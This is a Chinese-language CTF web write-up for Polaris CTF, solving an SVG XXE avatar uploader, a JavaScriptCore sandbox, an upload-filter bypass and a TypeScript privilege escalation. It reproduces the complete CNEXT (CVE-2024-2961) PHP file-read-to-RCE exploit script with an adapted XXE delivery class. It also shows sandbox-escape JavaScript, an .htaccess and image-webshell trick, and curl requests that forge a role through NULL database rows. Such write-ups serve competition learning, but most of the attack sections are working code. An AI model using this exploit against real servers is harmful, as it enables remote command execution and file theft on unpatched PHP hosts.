Polaris CTF WEB

WEB 12/13 MISC 6/12 Reverse 4/15 PWN 3/14 Crypto 5/9

两个赛道总排名 54 招新赛道排名20 WEB方向 第4

做题还是太慢了，也是又熬穿了

OK，下面是我的WEB wp

头像上传器

我写了一个头像上传器，只要用白名单限制上传文件就没风险了吧。

注册一下

OK ，我们在看一下 JS 源码，找一下 API接口

一共有5个

/api/avatar.php 是返回头像内容的，GET

/api/update_profile.php 是更新头像文件名的 ，POST

/api/me.php 获取用户信息，GET

/api/upload.php 上传文件的，POST

/api/logout.php 退出用的，POST

贴一下整段代码

<script>
    const state = { user: null };

    async function api(path, payload) {
      const res = await fetch(path, {
        method: payload ? 'POST' : 'GET',
        headers: payload ? { 'Content-Type': 'application/json' } : undefined,
        body: payload ? JSON.stringify(payload) : undefined
      });
      const data = await res.json().catch(() => ({}));
      return { ok: res.ok, data };
    }

    function setToast(id, msg) {
      document.getElementById(id).textContent = msg || '';
    }

    function renderUser() {
      if (!state.user) {
        window.location.href = '/';
        return;
      }
      document.getElementById('profileDisplay').value = state.user.display_name || '';
      document.getElementById('profileAvatar').value = state.user.avatar_path || '';

      const avatarUrl = '/api/avatar.php?ts=' + Date.now();
      document.getElementById('avatarButton').innerHTML = `<img src="${avatarUrl}" alt="avatar">`;
    }

    document.getElementById('saveProfileBtn').addEventListener('click', async () => {
      setToast('profileToast', '');
      const payload = {
        display_name: document.getElementById('profileDisplay').value,
        avatar_name: document.getElementById('profileAvatar').value
      };
      const res = await api('/api/update_profile.php', payload);
      if (res.data.ok) {
        const me = await api('/api/me.php');
        if (me.data.ok) {
          state.user = me.data.user;
          renderUser();
        }
        setToast('profileToast', '资料已更新。');
      } else {
        setToast('profileToast', res.data.error || '更新失败');
      }
    });

    document.getElementById('uploadBtn').addEventListener('click', async () => {
      setToast('uploadToast', '');
      const file = document.getElementById('uploadFile').files[0];
      if (!file) {
        setToast('uploadToast', '请选择文件。');
        return;
      }
      const form = new FormData();
      form.append('file', file);
      const res = await fetch('/api/upload.php', { method: 'POST', body: form });
      const data = await res.json().catch(() => ({}));
      if (data.ok) {
        document.getElementById('profileAvatar').value = data.name;
        setToast('uploadToast', '上传成功：' + data.name);
      } else {
        setToast('uploadToast', data.error || '上传失败');
      }
    });

    document.getElementById('logoutLink').addEventListener('click', async (e) => {
      e.preventDefault();
      await api('/api/logout.php', {});
      window.location.href = '/';
    });

    (async () => {
      const me = await api('/api/me.php');
      if (me.data && me.data.ok) {
        state.user = me.data.user;
      }
      renderUser();
    })();
  </script>

所以说整个逻辑是

上传成功后，服务器在返回一个 name ,然后填入左侧的”头像文件名”输入框

然后是 保存头像文件名

把那个文件名发给服务器

接着！！！ 读取头像

每次刷新页面，浏览器都会请求 /api/avatar.php，服务器就会去读取并解析我们设置的那个头像文件。

漏洞就在这！ 当头像文件是 SVG 格式时，服务器用 PHP 的 DOMDocument 来解析它。

如果说我们上传一个恶意 SVG 文件，就能实现 XXE

ok ，开始构造

上传恶意 SVG，触发 XXE

OKOK，确定了，XXE

这里贴一个美女小小庆祝一下

哦吼，不能直接读 flag ，这也说明 /flag 但是我们 www-data 没有权限

那我们先用 XXE 读一个特殊文件来确认环境，我们可以把 SVG 改成读 /proc/self/cmdline

因为这个文件记录了当前进程的命令行，www-data 有权限读

哈哈，不行，嗯，应该是/proc/self/cmdline 里包含 \x00 作为分隔符，XML 解析器遇到 null 字节会截断，

下一步读 /proc/version

好的 Ubuntu 22.04 + glibc

现在的问题是：XXE 能读文件，但 /flag 没权限，我们要想办法执行命令。

Google一下 ，发现了 CVE-2024-2961（CNEXT），这个漏洞正好能把 PHP 的文件读取能力升级成 RCE，而且 Ubuntu 22.04 的 glibc 就在漏洞影响范围内，没跑了。

开始要利用 CNEXT 了。首先是 **php://filter + base64 **读取 /proc/self/maps，拿到 libc 的内存地址。

okok

Base64 - decode 一下，不贴了，太长了

找到了 libc 的地址还有 PHP 堆 的地址

我们从 /proc/self/maps 中找到关键信息：

• libc 路径：/lib/x86_64-linux-gnu/libc-2.31.so
• libc 基地址：0x7f42cbcb8000
• PHP 堆地址：0x559368e71000

致敬致敬，大佬🫡

#!/usr/bin/env python3
#
# CNEXT: PHP file-read to RCE (CVE-2024-2961)
# Date: 2024-05-27
# Author: Charles FOL @cfreal_ (LEXFO/AMBIONICS)
#
# TODO Parse LIBC to know if patched
#
# INFORMATIONS
#
# To use, implement the Remote class, which tells the exploit how to send the payload.
#

from __future__ import annotations

import base64
import zlib

from dataclasses import dataclass
from requests.exceptions import ConnectionError, ChunkedEncodingError

from pwn import *
from ten import *


HEAP_SIZE = 2 * 1024 * 1024
BUG = "劄".encode("utf-8")


class Remote:
    """A helper class to send the payload and download files.
    
    The logic of the exploit is always the same, but the exploit needs to know how to
    download files (/proc/self/maps and libc) and how to send the payload.
    
    The code here serves as an example that attacks a page that looks like:
    
    ```php
    <?php
    
    $data = file_get_contents($_POST['file']);
    echo "File contents: $data";
    ```
    
    Tweak it to fit your target, and start the exploit.
    """

    def __init__(self, url: str) -> None:
        self.url = url
        self.session = Session()

    def send(self, path: str) -> Response:
        """Sends given `path` to the HTTP server. Returns the response.
        """
        return self.session.post(self.url, data={"file": path})
        
    def download(self, path: str) -> bytes:
        """Returns the contents of a remote file.
        """
        path = f"php://filter/convert.base64-encode/resource={path}"
        response = self.send(path)
        data = response.re.search(b"File contents: (.*)", flags=re.S).group(1)
        return base64.decode(data)

@entry
@arg("url", "Target URL")
@arg("command", "Command to run on the system; limited to 0x140 bytes")
@arg("sleep", "Time to sleep to assert that the exploit worked. By default, 1.")
@arg("heap", "Address of the main zend_mm_heap structure.")
@arg(
    "pad",
    "Number of 0x100 chunks to pad with. If the website makes a lot of heap "
    "operations with this size, increase this. Defaults to 20.",
)
@dataclass
class Exploit:
    """CNEXT exploit: RCE using a file read primitive in PHP."""

    url: str
    command: str
    sleep: int = 1
    heap: str = None
    pad: int = 20

    def __post_init__(self):
        self.remote = Remote(self.url)
        self.log = logger("EXPLOIT")
        self.info = {}
        self.heap = self.heap and int(self.heap, 16)

    def check_vulnerable(self) -> None:
        """Checks whether the target is reachable and properly allows for the various
        wrappers and filters that the exploit needs.
        """
        
        def safe_download(path: str) -> bytes:
            try:
                return self.remote.download(path)
            except ConnectionError:
                failure("Target not [b]reachable[/] ?")
            

        def check_token(text: str, path: str) -> bool:
            result = safe_download(path)
            return text.encode() == result

        text = tf.random.string(50).encode()
        base64 = b64(text, misalign=True).decode()
        path = f"data:text/plain;base64,{base64}"
        
        result = safe_download(path)
        
        if text not in result:
            msg_failure("Remote.download did not return the test string")
            print("--------------------")
            print(f"Expected test string: {text}")
            print(f"Got: {result}")
            print("--------------------")
            failure("If your code works fine, it means that the [i]data://[/] wrapper does not work")

        msg_info("The [i]data://[/] wrapper works")

        text = tf.random.string(50)
        base64 = b64(text.encode(), misalign=True).decode()
        path = f"php://filter//resource=data:text/plain;base64,{base64}"
        if not check_token(text, path):
            failure("The [i]php://filter/[/] wrapper does not work")

        msg_info("The [i]php://filter/[/] wrapper works")

        text = tf.random.string(50)
        base64 = b64(compress(text.encode()), misalign=True).decode()
        path = f"php://filter/zlib.inflate/resource=data:text/plain;base64,{base64}"

        if not check_token(text, path):
            failure("The [i]zlib[/] extension is not enabled")

        msg_info("The [i]zlib[/] extension is enabled")

        msg_success("Exploit preconditions are satisfied")

    def get_file(self, path: str) -> bytes:
        with msg_status(f"Downloading [i]{path}[/]..."):
            return self.remote.download(path)

    def get_regions(self) -> list[Region]:
        """Obtains the memory regions of the PHP process by querying /proc/self/maps."""
        maps = self.get_file("/proc/self/maps")
        maps = maps.decode()
        PATTERN = re.compile(
            r"^([a-f0-9]+)-([a-f0-9]+)\b" r".*" r"\s([-rwx]{3}[ps])\s" r"(.*)"
        )
        regions = []
        for region in table.split(maps, strip=True):
            if match := PATTERN.match(region):
                start = int(match.group(1), 16)
                stop = int(match.group(2), 16)
                permissions = match.group(3)
                path = match.group(4)
                if "/" in path or "[" in path:
                    path = path.rsplit(" ", 1)[-1]
                else:
                    path = ""
                current = Region(start, stop, permissions, path)
                regions.append(current)
            else:
                print(maps)
                failure("Unable to parse memory mappings")

        self.log.info(f"Got {len(regions)} memory regions")

        return regions

    def get_symbols_and_addresses(self) -> None:
        """Obtains useful symbols and addresses from the file read primitive."""
        regions = self.get_regions()

        LIBC_FILE = "/dev/shm/cnext-libc"

        # PHP's heap

        self.info["heap"] = self.heap or self.find_main_heap(regions)

        # Libc

        libc = self._get_region(regions, "libc-", "libc.so")

        self.download_file(libc.path, LIBC_FILE)

        self.info["libc"] = ELF(LIBC_FILE, checksec=False)
        self.info["libc"].address = libc.start

    def _get_region(self, regions: list[Region], *names: str) -> Region:
        """Returns the first region whose name matches one of the given names."""
        for region in regions:
            if any(name in region.path for name in names):
                break
        else:
            failure("Unable to locate region")

        return region

    def download_file(self, remote_path: str, local_path: str) -> None:
        """Downloads `remote_path` to `local_path`"""
        data = self.get_file(remote_path)
        Path(local_path).write(data)

    def find_main_heap(self, regions: list[Region]) -> Region:
        # Any anonymous RW region with a size superior to the base heap size is a
        # candidate. The heap is at the bottom of the region.
        heaps = [
            region.stop - HEAP_SIZE + 0x40
            for region in reversed(regions)
            if region.permissions == "rw-p"
            and region.size >= HEAP_SIZE
            and region.stop & (HEAP_SIZE-1) == 0
            and region.path in ("", "[anon:zend_alloc]")
        ]

        if not heaps:
            failure("Unable to find PHP's main heap in memory")

        first = heaps[0]

        if len(heaps) > 1:
            heaps = ", ".join(map(hex, heaps))
            msg_info(f"Potential heaps: [i]{heaps}[/] (using first)")
        else:
            msg_info(f"Using [i]{hex(first)}[/] as heap")

        return first

    def run(self) -> None:
        self.check_vulnerable()
        self.get_symbols_and_addresses()
        self.exploit()

    def build_exploit_path(self) -> str:
        """On each step of the exploit, a filter will process each chunk one after the
        other. Processing generally involves making some kind of operation either
        on the chunk or in a destination chunk of the same size. Each operation is
        applied on every single chunk; you cannot make PHP apply iconv on the first 10
        chunks and leave the rest in place. That's where the difficulties come from.

        Keep in mind that we know the address of the main heap, and the libraries.
        ASLR/PIE do not matter here.

        The idea is to use the bug to make the freelist for chunks of size 0x100 point
        lower. For instance, we have the following free list:

        ... -> 0x7fffAABBCC900 -> 0x7fffAABBCCA00 -> 0x7fffAABBCCB00

        By triggering the bug from chunk ..900, we get:

        ... -> 0x7fffAABBCCA00 -> 0x7fffAABBCCB48 -> ???

        That's step 3.

        Now, in order to control the free list, and make it point whereever we want,
        we need to have previously put a pointer at address 0x7fffAABBCCB48. To do so,
        we'd have to have allocated 0x7fffAABBCCB00 and set our pointer at offset 0x48.
        That's step 2.

        Now, if we were to perform step2 an then step3 without anything else, we'd have
        a problem: after step2 has been processed, the free list goes bottom-up, like:

        0x7fffAABBCCB00 -> 0x7fffAABBCCA00 -> 0x7fffAABBCC900

        We need to go the other way around. That's why we have step 1: it just allocates
        chunks. When they get freed, they reverse the free list. Now step2 allocates in
        reverse order, and therefore after step2, chunks are in the correct order.

        Another problem comes up.

        To trigger the overflow in step3, we convert from UTF-8 to ISO-2022-CN-EXT.
        Since step2 creates chunks that contain pointers and pointers are generally not
        UTF-8, we cannot afford to have that conversion happen on the chunks of step2.
        To avoid this, we put the chunks in step2 at the very end of the chain, and
        prefix them with `0\n`. When dechunked (right before the iconv), they will
        "disappear" from the chain, preserving them from the character set conversion
        and saving us from an unwanted processing error that would stop the processing
        chain.

        After step3 we have a corrupted freelist with an arbitrary pointer into it. We
        don't know the precise layout of the heap, but we know that at the top of the
        heap resides a zend_mm_heap structure. We overwrite this structure in two ways.
        Its free_slot[] array contains a pointer to each free list. By overwriting it,
        we can make PHP allocate chunks whereever we want. In addition, its custom_heap
        field contains pointers to hook functions for emalloc, efree, and erealloc
        (similarly to malloc_hook, free_hook, etc. in the libc). We overwrite them and
        then overwrite the use_custom_heap flag to make PHP use these function pointers
        instead. We can now do our favorite CTF technique and get a call to
        system(<chunk>).
        We make sure that the "system" command kills the current process to avoid other
        system() calls with random chunk data, leading to undefined behaviour.

        The pad blocks just "pad" our allocations so that even if the heap of the
        process is in a random state, we still get contiguous, in order chunks for our
        exploit.

        Therefore, the whole process described here CANNOT crash. Everything falls
        perfectly in place, and nothing can get in the middle of our allocations.
        """

        LIBC = self.info["libc"]
        ADDR_EMALLOC = LIBC.symbols["__libc_malloc"]
        ADDR_EFREE = LIBC.symbols["__libc_system"]
        ADDR_EREALLOC = LIBC.symbols["__libc_realloc"]

        ADDR_HEAP = self.info["heap"]
        ADDR_FREE_SLOT = ADDR_HEAP + 0x20
        ADDR_CUSTOM_HEAP = ADDR_HEAP + 0x0168

        ADDR_FAKE_BIN = ADDR_FREE_SLOT - 0x10

        CS = 0x100

        # Pad needs to stay at size 0x100 at every step
        pad_size = CS - 0x18
        pad = b"\x00" * pad_size
        pad = chunked_chunk(pad, len(pad) + 6)
        pad = chunked_chunk(pad, len(pad) + 6)
        pad = chunked_chunk(pad, len(pad) + 6)
        pad = compressed_bucket(pad)

        step1_size = 1
        step1 = b"\x00" * step1_size
        step1 = chunked_chunk(step1)
        step1 = chunked_chunk(step1)
        step1 = chunked_chunk(step1, CS)
        step1 = compressed_bucket(step1)

        # Since these chunks contain non-UTF-8 chars, we cannot let it get converted to
        # ISO-2022-CN-EXT. We add a `0\n` that makes the 4th and last dechunk "crash"

        step2_size = 0x48
        step2 = b"\x00" * (step2_size + 8)
        step2 = chunked_chunk(step2, CS)
        step2 = chunked_chunk(step2)
        step2 = compressed_bucket(step2)

        step2_write_ptr = b"0\n".ljust(step2_size, b"\x00") + p64(ADDR_FAKE_BIN)
        step2_write_ptr = chunked_chunk(step2_write_ptr, CS)
        step2_write_ptr = chunked_chunk(step2_write_ptr)
        step2_write_ptr = compressed_bucket(step2_write_ptr)

        step3_size = CS

        step3 = b"\x00" * step3_size
        assert len(step3) == CS
        step3 = chunked_chunk(step3)
        step3 = chunked_chunk(step3)
        step3 = chunked_chunk(step3)
        step3 = compressed_bucket(step3)

        step3_overflow = b"\x00" * (step3_size - len(BUG)) + BUG
        assert len(step3_overflow) == CS
        step3_overflow = chunked_chunk(step3_overflow)
        step3_overflow = chunked_chunk(step3_overflow)
        step3_overflow = chunked_chunk(step3_overflow)
        step3_overflow = compressed_bucket(step3_overflow)

        step4_size = CS
        step4 = b"=00" + b"\x00" * (step4_size - 1)
        step4 = chunked_chunk(step4)
        step4 = chunked_chunk(step4)
        step4 = chunked_chunk(step4)
        step4 = compressed_bucket(step4)

        # This chunk will eventually overwrite mm_heap->free_slot
        # it is actually allocated 0x10 bytes BEFORE it, thus the two filler values
        step4_pwn = ptr_bucket(
            0x200000,
            0,
            # free_slot
            0,
            0,
            ADDR_CUSTOM_HEAP,  # 0x18
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            ADDR_HEAP,  # 0x140
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            size=CS,
        )

        step4_custom_heap = ptr_bucket(
            ADDR_EMALLOC, ADDR_EFREE, ADDR_EREALLOC, size=0x18
        )

        step4_use_custom_heap_size = 0x140

        COMMAND = self.command
        COMMAND = f"kill -9 $PPID; {COMMAND}"
        if self.sleep:
            COMMAND = f"sleep {self.sleep}; {COMMAND}"
        COMMAND = COMMAND.encode() + b"\x00"

        assert (
            len(COMMAND) <= step4_use_custom_heap_size
        ), f"Command too big ({len(COMMAND)}), it must be strictly inferior to {hex(step4_use_custom_heap_size)}"
        COMMAND = COMMAND.ljust(step4_use_custom_heap_size, b"\x00")

        step4_use_custom_heap = COMMAND
        step4_use_custom_heap = qpe(step4_use_custom_heap)
        step4_use_custom_heap = chunked_chunk(step4_use_custom_heap)
        step4_use_custom_heap = chunked_chunk(step4_use_custom_heap)
        step4_use_custom_heap = chunked_chunk(step4_use_custom_heap)
        step4_use_custom_heap = compressed_bucket(step4_use_custom_heap)

        pages = (
            step4 * 3
            + step4_pwn
            + step4_custom_heap
            + step4_use_custom_heap
            + step3_overflow
            + pad * self.pad
            + step1 * 3
            + step2_write_ptr
            + step2 * 2
        )

        resource = compress(compress(pages))
        resource = b64(resource)
        resource = f"data:text/plain;base64,{resource.decode()}"

        filters = [
            # Create buckets
            "zlib.inflate",
            "zlib.inflate",
            
            # Step 0: Setup heap
            "dechunk",
            "convert.iconv.L1.L1",
            
            # Step 1: Reverse FL order
            "dechunk",
            "convert.iconv.L1.L1",
            
            # Step 2: Put fake pointer and make FL order back to normal
            "dechunk",
            "convert.iconv.L1.L1",
            
            # Step 3: Trigger overflow
            "dechunk",
            "convert.iconv.UTF-8.ISO-2022-CN-EXT",
            
            # Step 4: Allocate at arbitrary address and change zend_mm_heap
            "convert.quoted-printable-decode",
            "convert.iconv.L1.L1",
        ]
        filters = "|".join(filters)
        path = f"php://filter/read={filters}/resource={resource}"

        return path

    @inform("Triggering...")
    def exploit(self) -> None:
        path = self.build_exploit_path()
        start = time.time()

        try:
            self.remote.send(path)
        except (ConnectionError, ChunkedEncodingError):
            pass
        
        msg_print()
        
        if not self.sleep:
            msg_print("    [b white on black] EXPLOIT [/][b white on green] SUCCESS [/] [i](probably)[/]")
        elif start + self.sleep <= time.time():
            msg_print("    [b white on black] EXPLOIT [/][b white on green] SUCCESS [/]")
        else:
            # Wrong heap, maybe? If the exploited suggested others, use them!
            msg_print("    [b white on black] EXPLOIT [/][b white on red] FAILURE [/]")
        
        msg_print()


def compress(data) -> bytes:
    """Returns data suitable for `zlib.inflate`.
    """
    # Remove 2-byte header and 4-byte checksum
    return zlib.compress(data, 9)[2:-4]


def b64(data: bytes, misalign=True) -> bytes:
    payload = base64.encode(data)
    if not misalign and payload.endswith("="):
        raise ValueError(f"Misaligned: {data}")
    return payload.encode()


def compressed_bucket(data: bytes) -> bytes:
    """Returns a chunk of size 0x8000 that, when dechunked, returns the data."""
    return chunked_chunk(data, 0x8000)


def qpe(data: bytes) -> bytes:
    """Emulates quoted-printable-encode.
    """
    return "".join(f"={x:02x}" for x in data).upper().encode()


def ptr_bucket(*ptrs, size=None) -> bytes:
    """Creates a 0x8000 chunk that reveals pointers after every step has been ran."""
    if size is not None:
        assert len(ptrs) * 8 == size
    bucket = b"".join(map(p64, ptrs))
    bucket = qpe(bucket)
    bucket = chunked_chunk(bucket)
    bucket = chunked_chunk(bucket)
    bucket = chunked_chunk(bucket)
    bucket = compressed_bucket(bucket)

    return bucket


def chunked_chunk(data: bytes, size: int = None) -> bytes:
    """Constructs a chunked representation of the given chunk. If size is given, the
    chunked representation has size `size`.
    For instance, `ABCD` with size 10 becomes: `0004\nABCD\n`.
    """
    # The caller does not care about the size: let's just add 8, which is more than
    # enough
    if size is None:
        size = len(data) + 8
    keep = len(data) + len(b"\n\n")
    size = f"{len(data):x}".rjust(size - keep, "0")
    return size.encode() + b"\n" + data + b"\n"


@dataclass
class Region:
    """A memory region."""

    start: int
    stop: int
    permissions: str
    path: str

    @property
    def size(self) -> int:
        return self.stop - self.start


Exploit()

该一下啵，

先是 Remote

class Remote:
    def __init__(self, url: str) -> None:
        self.base_url = url.rstrip("/")
        self.session = Session()
        self._login()

    def _login(self) -> None:
        username = "u" + "".join(random.choice(string.digits) for _ in range(10))
        password = "Passw0rd!"
        self.session.post(f"{self.base_url}/api/register.php",
            json={"username": username, "password": password})
        self.session.post(f"{self.base_url}/api/login.php",
            json={"username": username, "password": password})

    def send(self, path: str):
        svg = (
            f'<?xml version="1.0"?>\n'
            f'<!DOCTYPE svg [ <!ENTITY xxe SYSTEM "{path}"> ]>\n'
            f'<svg xmlns="http://www.w3.org/2000/svg"><text>&xxe;</text></svg>'
         ).encode()
        up = self.session.post(f"{self.base_url}/api/upload.php",
            files={"file": ("p.svg", svg, "image/svg+xml")})
        name = up.json().get("name")
        self.session.post(f"{self.base_url}/api/update_profile.php",
            json={"display_name": "x", "avatar_name": name})
        return self.session.get(f"{self.base_url}/api/avatar.php")

    def download(self, path: str) -> bytes:
        path = f"php://filter/convert.base64-encode/resource={path}"
        response = self.send(path)
        match = _re.search(rb"<text>(.*?)</text>", response.content, flags=_re.S)
        data = match.group(1).strip()
        return base64.decode(data)

还有 filter 拼接方式

path = "php://filter/" + "".join(f"read={f}/" for f in filters) + f"resource={resource}"

还有一个我是 Mac ，改一下这个

LIBC_FILE = "/tmp/cnext-libc"

访问一下

http://hahanihao123.challenge.ctfplus.cn/uploads/flag.txt

拿下拿下

Not a Node

我们搭建了一个“安全”的在线 JavaScript 运行平台。

你提交的代码会被放进一个精心准备的沙箱中运行，一切看起来很干净

最底下写着：JSC Sandboxed Context | Not all properties are enumerable

哦这是 Apple 的 JS 引擎 ，哎，好久没用你 safari 了

回归正题，Blocked PatternsStatic string checks 这很容易了啊

再看看呢，哦我们在高级这里

看到 “平台编排可能依赖未列出的内部绑定”，结合底部的并非所有属性都可枚举

说明 __runtime 对象中存在隐藏属性

那我们先枚举所有可枚举属性，搞清楚 公开的 API 的范围

export default { async fetch(request) { 
  const keys = [];
  for (let k in __runtime) { keys.push(k); }
  return new Response(JSON.stringify({keys: keys}));
} }

然后底部的并非所有属性都可枚举

export default { async fetch(request) { 
  const desc = Object.getOwnPropertyDescriptor(__runtime, '_internal');
  return new Response(JSON.stringify(desc, null, 2));
} }

多了一个 _internal

export default { async fetch(request) { 
  const desc = Object.getOwnPropertyDescriptor(__runtime, '_internal');
  return new Response(JSON.stringify(desc, null, 2));
} }

OK，我们来看一下这个结构

{
  "value": {
    "debug": false,
    "lib": {
      "symbols": {}
    }
  },
  "writable": false,
  "enumerable": false,
  "configurable": false
}

symbols 显示是空对象，但这很可疑啊，

JSON.stringify 是只能序列化可枚举属性。

如果 symbols 里的函数也是不可枚举的，JSON.stringify 就会显示 {}，但这实际上里面有东西

我们下一步可以用 Reflect.ownKeys() 挖出 symbols 里的隐藏内容

export default { async fetch(request) { 
  const desc = Object.getOwnPropertyDescriptor(__runtime, '_internal');
  const internalObj = desc.value;
  const symbolKeys = Reflect.ownKeys(internalObj.lib.symbols);
  return new Response(JSON.stringify({symbolKeys: symbolKeys}));
} }

这说明

__runtime._internal.lib.symbols 里有两个函数：

• _0x72656164 — **read **
• _0x6c697374 — list

Okok, 那我们就直接调用 list 看看有什么

export default { async fetch(request) { 
  const desc = Object.getOwnPropertyDescriptor(__runtime, '_internal');
  const symbols = desc.value.lib.symbols;
  const listFn = symbols['_0x6c697374'];
  return new Response(JSON.stringify({ result: listFn('/') }, null, 2));
} }

不对劲，这似乎，有可能就只是沙箱的目录

验证一下我们的猜想

export default { async fetch(request) { 
  const desc = Object.getOwnPropertyDescriptor(__runtime, '_internal');
  const symbols = desc.value.lib.symbols;
  const listFn = symbols['_0x6c697374'];
  return new Response(JSON.stringify({
    "root": listFn('/'),
    "home": listFn('/home'),
    "dot": listFn('.'),
  }, null, 2));
} }

返回内容完全一致

文件系统出不去，那就读一下这三个文件吧

export default { async fetch(request) { 
  const desc = Object.getOwnPropertyDescriptor(__runtime, '_internal');
  const symbols = desc.value.lib.symbols;
  const readFn = symbols['_0x72656164'];
  return new Response(JSON.stringify({
    conf: readFn('runtime.conf'),
    manifest: readFn('manifest.json'),
    token: readFn('.edge_token'),
  }, null, 2));
} }

是报错，太好啦

我们发现说明沙箱的工作目录是 /app/，然后还有read 函数的参数被填充了 null 字节

就是说我们传的是字符串 'runtime.conf'，但函数收到的路径变成了 /app/\u0000\u0000\u0000...

看一下报错信息

’path‘ must be a string, Uint8Array, or URL without null bytes

那我们传一个 Uint8Array 呗

const encoder = new TextEncoder();
const pathBytes = encoder.encode('/flag');
const result = readFn(pathBytes);

capture the flag

export default { async fetch(request) { 
  try {
    const desc = Object.getOwnPropertyDescriptor(__runtime, '_internal');
    const symbols = desc.value.lib.symbols;
    const readFn = symbols['_0x72656164'];
    const encoder = new TextEncoder();
    const pathBytes = encoder.encode('/flag');
    const result = readFn(pathBytes);
    return new Response(result);
  } catch(e) { return new Response('Error: ' + e.message); }
} }

Okok，贴一个美女庆祝一下

only_real_revenge

也许只有一个是真的

呜呜呜，😭我要进星盟安全

太好啦，我进去了

按钮按不动，哈哈是前端啊

document.querySelectorAll('[disabled]').forEach(el => el.removeAttribute('disabled'));

view-source:

发现是前端拦截，那我们关闭 JS 即可

文件上传，我们先上传正常的图片 1.png 上传后页面没有任何线索，还把我按钮又给 disabled了

我们猜一下路径

没有问题，是 403

但 1.png 访问不到，这时猜测服务器肯定给我名字随机了，哎，应该不会是爆破问题

那我们就先尝试 .htaccess

AddType application/x-httpd-php .jpg

还有图片🐎

capture the flag

okok 庆祝庆祝

斯，其实我在想为啥这时候能访问了，先不管了，做其他吧，等会再来想想

醉里挑灯看剑

谁知道呢，他们说ts是世界上最好的语言

还有一个附件，我们审计一下

搜索一下发现 flag 字段不多，而且只有这一个地方返回给了我们：

找一下接口

if (req.method === 'POST' && pathname === '/api/release/claim') {

所以说我们只要成功调用 POST /api/release/claim 这个接口，就能拿到 Flag

慢工出细活，我们好好看看

const claims = requireSession(req);

这个说明一定要带有效的 Token，否则直接报错退出

const effectiveCap = await getEffectiveCapability(claims.sid);
assertReleaseCapability(effectiveCap);

要求我们 role=‘maintainer’ 且 lane=‘release’

if (claims.role !== 'guest') throw Error(...)

反过来要求 Token 本身必须是 guest 签发的 ，嗯哼 ，感觉有点不对劲

const nonce = payload.nonce
const proof = payload.proof

要在请求体里提交 nonce 和 proof 两个字段

const expected = computeReleaseProof(claims.sid, nonce)
if (proof !== expected) throw Error(...)

proof 必须等于sha1(sid + ":" + nonce + ":" + RUNNER_KEY) 但是 RUNNER_KEY 是服务器的环境变量，我们不知道啊

await consumeReleaseChallenge(claims.sid, nonce)

哦，nonce 必须是服务器之前生成过的、且没用过的

然后就是返回 flag

所以我们遇到了，权限不够，RUNNER_KEY 不知道 ， 没有 nonce

理一下思路吧，嘟嘟嘟，贴个妹妹

我们先想办法从 guest 提权到 maintainer

然后有了 maintainer 权限之后，再想办法偷到 RUNNER_KEY ，接着就是申请 nonce 最后算出 proof，提交，最后CTF

sudo maintainer

服务器判断你的角色，不是看你的 Token，而是去数据库里查一张表：capability_snapshots

COALESCE(role, ‘maintainer’) AS role, ！！！

所以说我们只需要想办法往数据库里插入一条 role = NULL 的记录

就可以了？

找啊找，找到一个小接口 POST /api/caps/sync

但是，服务器在写入之前做了点防护 normalizeSyncRows & appendCapabilityRows

normalizeSyncRows 函数

function normalizeSyncRows(body: unknown, claims: SessionClaims): Array<Record<string, unknown>> {
  if (!body || typeof body !== 'object') {
    throw new Error('sync body must be object');
  }

  const payload = body as Record<string, unknown>;
  if (!Array.isArray(payload.ops)) {
    throw new Error('ops must be an array');
  }

  if (payload.ops.length < 2 || payload.ops.length > 8) {
    throw new Error('ops length must be between 2 and 8');
  }

  const now = Date.now();
  const rows: Array<Record<string, unknown>> = [];

  for (let i = 0; i < payload.ops.length; i += 1) {
    const op = payload.ops[i];
    if (!op || typeof op !== 'object') {
      throw new Error(`ops[${i}] must be object`);
    }

    const input = op as Record<string, unknown>;
    const source = typeof input.source === 'string' ? input.source.trim() : '';
    if (!source || source.length > 40 || !/^[a-z0-9_.:\/-]+$/i.test(source)) {
      throw new Error(`ops[${i}].source invalid`);
    }

    const note = typeof input.note === 'string'
      ? input.note.slice(0, 200)
      : `guest-sync-${i + 1}`;

    const keepRole = input.keepRole !== false;
    const keepLane = input.keepLane !== false;

    const row: Record<string, unknown> = {
      sid: claims.sid,
      source,
      note,
      stamp: now + i
    };

    if (keepRole) {
      row.role = 'guest';
    }

    if (keepLane) {
      row.lane = 'public';
    }

    rows.push(row);
  }

  rows.push({
    sid: claims.sid,
    role: 'guest',
    lane: 'public',
    source: 'server-tail',
    note: 'tail guard snapshot',
    stamp: now + payload.ops.length + 11
  });

  rows.sort((a, b) => {
    const sa = String(a.source || '');
    const sb = String(b.source || '');
    if (sa === sb) {
      return Number(a.stamp || 0) - Number(b.stamp || 0);
    }
    return sa.localeCompare(sb);
  });

  return rows;
}

• keepRole: false → 这一行不加 role 字段
• keepLane: false → 这一行不加 lane 字段

加工完你提交的所有 op 之后，它还会强制追加一条

然后，它把所有行按 source 字段排序：

rows.sort((a, b) => sa.localeCompare(sb));

appendCapabilityRows 函数

这只看数组里第一行有哪些字段，然后强制所有行都按这个模板来。

如果某一行有额外的字段（比如 role），直接被丢掉；

如果某一行缺少字段，就填 null。OKOK

curl -X POST http://nihaohaha123.challenge.ctfplus.cn/api/auth/guest \
  -H "Content-Type: application/json" \
  -d '{}'

curl -X POST http://nihaohaha123.challenge.ctfplus.cn/api/caps/sync \
  -H "Content-Type: application/json" \
  -H "Authorization: Bearer eyJleHAiOjE3NzQ4MTU4NTgwODksImlhdCI6MTc3NDgxNDM1ODA4OSwibm9uY2UiOiIwNmNkNDc0MGQzZDg3NWMwIiwicGxhbiI6InByZXZpZXctbGFuZSIsInJvbGUiOiJndWVzdCIsInNpZCI6InNpZF9lMDA4NjMzZWY4NWMifQ.803525293be29183bde6f29c7ccba8a2876905d2584168c95cc023573a123e7b" \
  -d '{
    "ops": [
      { "source": "a", "keepRole": false, "keepLane": false },
      { "source": "b", "keepRole": true, "keepLane": true }
    ]
  }'

 curl -X GET http://nihaohaha123.challenge.ctfplus.cn/api/session/self \
  -H "Authorization: Bearer eyJleHAiOjE3NzQ4MTU4NTgwODksImlhdCI6MTc3NDgxNDM1ODA4OSwibm9uY2UiOiIwNmNkNDc0MGQzZDg3NWMwIiwicGxhbiI6InByZXZpZXctbGFuZSIsInJvbGUiOiJndWVzdCIsInNpZCI6InNpZF9lMDA4NjMzZWY4NWMifQ.803525293be29183bde6f29c7ccba8a2876905d2584168c95cc023573a123e7b"

搞定搞定，下一步

